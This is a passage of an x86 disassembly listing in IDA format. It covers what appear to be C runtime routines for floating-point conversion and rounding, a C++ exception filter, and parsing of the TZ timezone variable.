test bl, 2
jz short loc_424032
or al, 10h
loc_424032: ; CODE XREF: sub_42400D+21j
test bl, 1
jz short loc_424039
or al, 20h
loc_424039: ; CODE XREF: sub_42400D+28j
test ebx, 80000h
jz short loc_424043
or al, 2
loc_424043: ; CODE XREF: sub_42400D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424070
cmp ecx, 100h
jz short loc_42406D
cmp ecx, esi
jz short loc_424068
cmp ecx, edx
jnz short loc_424070
or ah, 0Ch
jmp short loc_424070
; ---------------------------------------------------------------------------
loc_424068: ; CODE XREF: sub_42400D+50j
or ah, 8
jmp short loc_424070
; ---------------------------------------------------------------------------
loc_42406D: ; CODE XREF: sub_42400D+4Cj
or ah, 4
loc_424070: ; CODE XREF: sub_42400D+44j
; sub_42400D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424086
cmp ecx, 10000h
jnz short loc_424088
or eax, esi
jmp short loc_424088
; ---------------------------------------------------------------------------
loc_424086: ; CODE XREF: sub_42400D+6Bj
or eax, edx
loc_424088: ; CODE XREF: sub_42400D+73j
; sub_42400D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424095
or ah, 10h
locret_424095: ; CODE XREF: sub_42400D+83j
retn
sub_42400D endp
; =============== S U B R O U T I N E =======================================
sub_424096 proc near ; CODE XREF: sub_424135+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4240DB
inc esi
cmp esi, 3
jge short loc_4240D6
lea eax, [eax+esi*4]
loc_4240C8: ; CODE XREF: sub_424096+3Ej
cmp dword ptr [eax], 0
jnz short loc_4240DB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4240C8
loc_4240D6: ; CODE XREF: sub_424096+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4240DB: ; CODE XREF: sub_424096+27j
; sub_424096+35j
xor eax, eax
pop esi
retn
sub_424096 endp
; =============== S U B R O U T I N E =======================================
sub_4240DF proc near ; CODE XREF: sub_424135+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_424F2C
add esp, 0Ch
dec esi
js short loc_424131
lea edi, [ebx+esi*4]
loc_424118: ; CODE XREF: sub_4240DF+50j
test eax, eax
jz short loc_424131
push edi
push 1
push dword ptr [edi]
call sub_424F2C
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424118
loc_424131: ; CODE XREF: sub_4240DF+34j
; sub_4240DF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4240DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424135 proc near ; CODE XREF: sub_424290+81p
; sub_424290+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424199
inc ebx
push ebx
push [ebp+arg_0]
call sub_424096
pop ecx
test eax, eax
pop ecx
jnz short loc_424196
push edi
push [ebp+arg_0]
call sub_4240DF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424196: ; CODE XREF: sub_424135+51j
mov eax, [ebp+arg_4]
loc_424199: ; CODE XREF: sub_424135+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_4241B9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_4241B9: ; CODE XREF: sub_424135+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424135 endp
; =============== S U B R O U T I N E =======================================
sub_4241C1 proc near ; CODE XREF: sub_424290+75p
; sub_424290+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_4241CF: ; CODE XREF: sub_4241C1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_4241CF
pop esi
retn
sub_4241C1 endp
; =============== S U B R O U T I N E =======================================
sub_4241DC proc near ; CODE XREF: sub_424290+5Fp
; sub_424290+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_4241DC endp
; =============== S U B R O U T I N E =======================================
sub_4241E8 proc near ; CODE XREF: sub_424290+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_4241EE: ; CODE XREF: sub_4241E8+12j
cmp dword ptr [eax], 0
jnz short loc_424200
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_4241EE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_424200: ; CODE XREF: sub_4241E8+9j
xor eax, eax
retn
sub_4241E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424203 proc near ; CODE XREF: sub_424290+C0p
; sub_424290+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424239: ; CODE XREF: sub_424203+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424239
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_42426B: ; CODE XREF: sub_424203+86j
cmp ebx, edi
jl short loc_42427E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424285
; ---------------------------------------------------------------------------
loc_42427E: ; CODE XREF: sub_424203+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424285: ; CODE XREF: sub_424203+79j
dec ebx
sub ecx, 4
jns short loc_42426B
pop edi
pop esi
pop ebx
leave
retn
sub_424203 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424290 proc near ; CODE XREF: sub_4243FC+Dp
; sub_424412+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_4242FD
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_4241E8
test eax, eax
pop ecx
jnz loc_4243BC
lea eax, [ebp+var_C]
push eax
call sub_4241DC
pop ecx
loc_4242F5: ; CODE XREF: sub_424290+E4j
push 2
loc_4242F7: ; CODE XREF: sub_424290+110j
pop eax
jmp loc_4243BE
; ---------------------------------------------------------------------------
loc_4242FD: ; CODE XREF: sub_424290+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_4241C1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424135
add esp, 10h
test eax, eax
jz short loc_42431E
inc ebx
loc_42431E: ; CODE XREF: sub_424290+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424336
lea eax, [ebp+var_C]
push eax
call sub_4241DC
pop ecx
jmp short loc_424372
; ---------------------------------------------------------------------------
loc_424336: ; CODE XREF: sub_424290+98j
cmp ebx, eax
jg short loc_424379
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4241C1
lea eax, [ebp+var_C]
push esi
push eax
call sub_424203
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424135
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_424203
add esp, 20h
loc_424372: ; CODE XREF: sub_424290+A4j
xor esi, esi
jmp loc_4242F5
; ---------------------------------------------------------------------------
loc_424379: ; CODE XREF: sub_424290+A8j
cmp ebx, [edi]
jl short loc_4243A5
lea eax, [ebp+var_C]
push eax
call sub_4241DC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_424203
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_4242F7
; ---------------------------------------------------------------------------
loc_4243A5: ; CODE XREF: sub_424290+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_424203
pop ecx
pop ecx
loc_4243BC: ; CODE XREF: sub_424290+55j
xor eax, eax
loc_4243BE: ; CODE XREF: sub_424290+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_4243ED
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_4243F7
; ---------------------------------------------------------------------------
loc_4243ED: ; CODE XREF: sub_424290+14Ej
cmp edi, 20h
jnz short loc_4243F7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_4243F7: ; CODE XREF: sub_424290+15Bj
; sub_424290+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424290 endp
; =============== S U B R O U T I N E =======================================
sub_4243FC proc near ; CODE XREF: sub_424428+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43B008
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424290
add esp, 0Ch
retn
sub_4243FC endp
; =============== S U B R O U T I N E =======================================
sub_424412 proc near ; CODE XREF: sub_424455+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43B020
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424290
add esp, 0Ch
retn
sub_424412 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424428 proc near ; CODE XREF: sub_4218D0+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4250CD
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4243FC
add esp, 24h
leave
retn
sub_424428 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424455 proc near ; CODE XREF: sub_4218D0+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4250CD
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424412
add esp, 24h
leave
retn
sub_424455 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424482 proc near ; CODE XREF: sub_42190E+65p
; sub_421A12+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_4244BF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_4244A5: ; CODE XREF: sub_424482+38j
mov dl, [ecx]
test dl, dl
jz short loc_4244B1
movsx edx, dl
inc ecx
jmp short loc_4244B4
; ---------------------------------------------------------------------------
loc_4244B1: ; CODE XREF: sub_424482+27j
push 30h
pop edx
loc_4244B4: ; CODE XREF: sub_424482+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_4244A5
mov edx, [ebp+arg_8]
loc_4244BF: ; CODE XREF: sub_424482+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_4244D8
cmp byte ptr [ecx], 35h
jl short loc_4244D8
loc_4244CB: ; CODE XREF: sub_424482+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_4244D6
mov byte ptr [eax], 30h
jmp short loc_4244CB
; ---------------------------------------------------------------------------
loc_4244D6: ; CODE XREF: sub_424482+4Dj
inc byte ptr [eax]
loc_4244D8: ; CODE XREF: sub_424482+42j
; sub_424482+47j
cmp byte ptr [esi], 31h
jnz short loc_4244E2
inc dword ptr [edx+4]
jmp short loc_4244F4
; ---------------------------------------------------------------------------
loc_4244E2: ; CODE XREF: sub_424482+59j
push edi
call sub_41B960
inc eax
push eax
push edi
push esi
call sub_41D400
add esp, 10h
loc_4244F4: ; CODE XREF: sub_424482+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424482 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4244F9 proc near ; CODE XREF: sub_42190E+3Fp
; sub_421A12+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_42455D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4D9908
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_42559E
mov dword_4D9930, eax
add esp, 18h
movsx eax, byte_4D990A
mov dword_4D9928, eax
pop edi
movsx eax, word_4D9908
mov dword_4D992C, eax
mov dword_4D9934, offset dword_4D990C
mov eax, offset dword_4D9928
pop esi
leave
retn
sub_4244F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42455D proc near ; CODE XREF: sub_4244F9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_4245AB
cmp ebx, edi
jz short loc_4245A4
lea edi, [ecx+3C00h]
jmp short loc_4245CC
; ---------------------------------------------------------------------------
loc_4245A4: ; CODE XREF: sub_42455D+3Dj
mov edi, 7FFFh
jmp short loc_4245CC
; ---------------------------------------------------------------------------
loc_4245AB: ; CODE XREF: sub_42455D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_4245C3
cmp edx, ebx
jnz short loc_4245C3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_42460E
; ---------------------------------------------------------------------------
loc_4245C3: ; CODE XREF: sub_42455D+52j
; sub_42455D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_4245CC: ; CODE XREF: sub_42455D+45j
; sub_42455D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_4245E4: ; CODE XREF: sub_42455D+A6j
test ecx, esi
jnz short loc_424605
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_4245E4
; ---------------------------------------------------------------------------
loc_424605: ; CODE XREF: sub_42455D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_42460E: ; CODE XREF: sub_42455D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_42455D endp
; ---------------------------------------------------------------------------
push 2
call sub_41E1C9
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_42461C proc near ; DATA XREF: ___:0043AC40o
; ___:0043B4A8o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_42463F
cmp dword ptr [eax+10h], 3
jnz short loc_42463F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_42463F
jmp sub_42249C
; ---------------------------------------------------------------------------
loc_42463F: ; CODE XREF: sub_42461C+Dj
; sub_42461C+13j ...
mov eax, dword_4D9938
test eax, eax
jz short loc_42465C
push eax
call sub_4246B8
test eax, eax
pop ecx
jz short loc_42465C
push esi
call dword_4D9938
jmp short loc_42465E
; ---------------------------------------------------------------------------
loc_42465C: ; CODE XREF: sub_42461C+2Aj
; sub_42461C+35j
xor eax, eax
loc_42465E: ; CODE XREF: sub_42461C+3Ej
pop esi
retn 4
sub_42461C endp
; ---------------------------------------------------------------------------
word_424662 dw 1C68h ; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
inc esi
inc edx
add [eax+1DBE99E8h], dl
add ah, byte ptr dword_4D9938[ebx]
retn
; ---------------------------------------------------------------------------
byte_424673 db 0FFh ; DATA XREF: ___:00429040o
dd 4D993835h, 87E89000h, 0C3021DBEh
; =============== S U B R O U T I N E =======================================
sub_424680 proc near ; CODE XREF: sub_421CE6+6Bp
; sub_4221F7+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 2600000h
nop
test eax, eax
jz short loc_424698
xor esi, esi
loc_424698: ; CODE XREF: sub_424680+14j
mov eax, esi
pop esi
retn
sub_424680 endp
; =============== S U B R O U T I N E =======================================
sub_42469C proc near ; CODE XREF: sub_4221F7+73p
; sub_4221F7+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
nop
call near ptr 265071Ah
test eax, eax
jz short loc_4246B4
xor esi, esi
loc_4246B4: ; CODE XREF: sub_42469C+14j
mov eax, esi
pop esi
retn
sub_42469C endp
; =============== S U B R O U T I N E =======================================
sub_4246B8 proc near ; CODE XREF: sub_4221F7+15Bp
; sub_42461C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 25F0AEDh
nop
test eax, eax
jz short loc_4246CC
xor esi, esi
loc_4246CC: ; CODE XREF: sub_4246B8+10j
mov eax, esi
pop esi
retn
sub_4246B8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42249C
loc_4246D0: ; CODE XREF: sub_42249C:loc_4224EDj
push 0Ah
call sub_4234D1
push 16h
call sub_425831
pop ecx
pop ecx
push 3
call sub_41BF42
; END OF FUNCTION CHUNK FOR sub_42249C
; =============== S U B R O U T I N E =======================================
sub_4246E7 proc near ; CODE XREF: sub_422571:loc_4225B0p
cmp dword_4D99F8, 0
jnz short locret_4246FB
call sub_4246FC
inc dword_4D99F8
locret_4246FB: ; CODE XREF: sub_4246E7+7j
retn
sub_4246E7 endp
; =============== S U B R O U T I N E =======================================
sub_4246FC proc near ; CODE XREF: sub_4246E7+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4D9940, ebp
mov dword_43B0E0, ebx
mov dword_43B0D0, ebx
call sub_4259A3
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_424825
push offset dword_4D9948
call near ptr 2880000h
nop
cmp eax, ebx
jz loc_424954
mov eax, dword_4D9948
mov ecx, dword_4D999C
imul eax, 3Ch
cmp word_4D998E, bp
push 1
pop edx
mov dword_43B038, eax
mov dword_4D9940, edx
jz short loc_424773
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43B038, eax
loc_424773: ; CODE XREF: sub_4246FC+69j
cmp word_4D99E2, bp
jz short loc_424797
mov eax, dword_4D99F0
cmp eax, ebp
jz short loc_424797
sub eax, ecx
mov dword_43B03C, edx
imul eax, 3Ch
mov dword_43B040, eax
jmp short loc_4247A3
; ---------------------------------------------------------------------------
loc_424797: ; CODE XREF: sub_4246FC+7Ej
; sub_4246FC+87j
mov dword_43B03C, ebp
mov dword_43B040, ebp
loc_4247A3: ; CODE XREF: sub_4246FC+99j
lea eax, [esp+14h+var_4]
mov esi, dword_427194
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43B0C4
push ebx
push offset dword_4D994C
push edi
push dword_4D97E0
call esi
test eax, eax
jz short loc_4247E0
cmp [esp+14h+var_4], ebp
jnz short loc_4247E0
mov eax, off_43B0C4
and byte ptr [eax+3Fh], 0
jmp short loc_4247E8
; ---------------------------------------------------------------------------
loc_4247E0: ; CODE XREF: sub_4246FC+D1j
; sub_4246FC+D7j
mov eax, off_43B0C4
and byte ptr [eax], 0
loc_4247E8: ; CODE XREF: sub_4246FC+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43B0C8
push ebx
push offset dword_4D99A0
push edi
push dword_4D97E0
call esi
test eax, eax
jz loc_42494C
cmp [esp+14h+var_4], ebp
jnz loc_42494C
mov eax, off_43B0C8
and byte ptr [eax+3Fh], 0
jmp loc_424954
; ---------------------------------------------------------------------------
loc_424825: ; CODE XREF: sub_4246FC+2Dj
cmp byte ptr [esi], 0
jz loc_424954
mov eax, dword_4D99F4
cmp eax, ebp
jz short loc_424848
push eax
push esi
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_424954
loc_424848: ; CODE XREF: sub_4246FC+139j
push dword_4D99F4
call sub_41BA31
push esi
call sub_41B960
inc eax
push eax
call sub_41BC9B
add esp, 0Ch
cmp eax, ebp
mov dword_4D99F4, eax
jz loc_424954
push esi
push eax
call sub_41C620
push 3
push esi
push off_43B0C4
call sub_41BD70
mov eax, off_43B0C4
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_42489D
push 1
inc esi
pop edi
loc_42489D: ; CODE XREF: sub_4246FC+19Bj
push esi
call sub_41BE6E
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43B038, ecx
loc_4248B4: ; CODE XREF: sub_4246FC+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_4248C2
cmp al, bl
jl short loc_4248C5
cmp al, 39h
jg short loc_4248C5
loc_4248C2: ; CODE XREF: sub_4246FC+1BCj
inc esi
jmp short loc_4248B4
; ---------------------------------------------------------------------------
loc_4248C5: ; CODE XREF: sub_4246FC+1C0j
; sub_4246FC+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_424918
inc esi
push esi
call sub_41BE6E
imul eax, 3Ch
pop ecx
mov ecx, dword_43B038
add ecx, eax
mov dword_43B038, ecx
loc_4248E3: ; CODE XREF: sub_4246FC+1F2j
mov al, [esi]
cmp al, bl
jl short loc_4248F0
cmp al, 39h
jg short loc_4248F0
inc esi
jmp short loc_4248E3
; ---------------------------------------------------------------------------
loc_4248F0: ; CODE XREF: sub_4246FC+1EBj
; sub_4246FC+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_424918
inc esi
push esi
call sub_41BE6E
pop ecx
mov ecx, dword_43B038
add ecx, eax
mov dword_43B038, ecx
loc_42490B: ; CODE XREF: sub_4246FC+21Aj
mov al, [esi]
cmp al, bl
jl short loc_424918
cmp al, 39h
jg short loc_424918
inc esi
jmp short loc_42490B
; ---------------------------------------------------------------------------
loc_424918: ; CODE XREF: sub_4246FC+1CCj
; sub_4246FC+1F7j ...
cmp edi, ebp
jz short loc_424924
neg ecx
mov dword_43B038, ecx
loc_424924: ; CODE XREF: sub_4246FC+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43B03C, eax
jz short loc_42494C
push 3
push esi
push off_43B0C8
call sub_41BD70
mov eax, off_43B0C8
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_424954
; ---------------------------------------------------------------------------
loc_42494C: ; CODE XREF: sub_4246FC+10Bj
; sub_4246FC+115j ...
mov eax, off_43B0C8
and byte ptr [eax], 0
loc_424954: ; CODE XREF: sub_4246FC+40j
; sub_4246FC+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4246FC endp
; =============== S U B R O U T I N E =======================================
sub_42495A proc near ; CODE XREF: sub_422571+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43B03C, edi
jnz short loc_42496E
loc_424967: ; CODE XREF: sub_42495A+148j
; sub_42495A+150j ...
xor eax, eax
jmp loc_424ABA
; ---------------------------------------------------------------------------
loc_42496E: ; CODE XREF: sub_42495A+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43B0D0
jnz short loc_42498C
cmp eax, dword_43B0E0
jz loc_424A8E
loc_42498C: ; CODE XREF: sub_42495A+24j
cmp dword_4D9940, edi
jz loc_424A64
movzx ecx, word_4D99EE
push ecx
cmp word_4D99E0, di
movzx ecx, word_4D99EC
push ecx
movzx ecx, word_4D99EA
push ecx
movzx ecx, word_4D99E8
push ecx
jnz short loc_4249DE
movzx ecx, word_4D99E4
push edi
push ecx
movzx ecx, word_4D99E6
push ecx
movzx ecx, word_4D99E2
push ecx
push eax
push ebx
jmp short loc_4249F2
; ---------------------------------------------------------------------------
loc_4249DE: ; CODE XREF: sub_42495A+65j
movzx ecx, word_4D99E6
push ecx
push edi
movzx ecx, word_4D99E2
push edi
push ecx
push eax
push edi
loc_4249F2: ; CODE XREF: sub_42495A+82j
push ebx
call sub_424B06
movzx eax, word_4D999A
add esp, 2Ch
cmp word_4D998C, di
push eax
movzx eax, word_4D9998
push eax
movzx eax, word_4D9996
push eax
movzx eax, word_4D9994
push eax
jnz short loc_424A4C
movzx eax, word_4D9990
push edi
push eax
movzx eax, word_4D9992
push eax
movzx eax, word_4D998E
push eax
push dword ptr [esi+14h]
push ebx
loc_424A41: ; CODE XREF: sub_42495A+108j
push edi
call sub_424B06
add esp, 2Ch
jmp short loc_424A8E
; ---------------------------------------------------------------------------
loc_424A4C: ; CODE XREF: sub_42495A+C8j
movzx eax, word_4D9992
push eax
push edi
movzx eax, word_4D998E
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_424A41
; ---------------------------------------------------------------------------
loc_424A64: ; CODE XREF: sub_42495A+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_424B06
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_424B06
add esp, 58h
loc_424A8E: ; CODE XREF: sub_42495A+2Cj
; sub_42495A+F0j
mov edx, dword_43B0D4
mov eax, dword_43B0E4
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_424ABE
cmp ecx, edx
jl loc_424967
cmp ecx, eax
jg loc_424967
cmp ecx, edx
jle short loc_424AD2
cmp ecx, eax
jge short loc_424AD2
loc_424AB8: ; CODE XREF: sub_42495A+166j
; sub_42495A+16Aj
mov eax, ebx
loc_424ABA: ; CODE XREF: sub_42495A+Fj
; sub_42495A+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
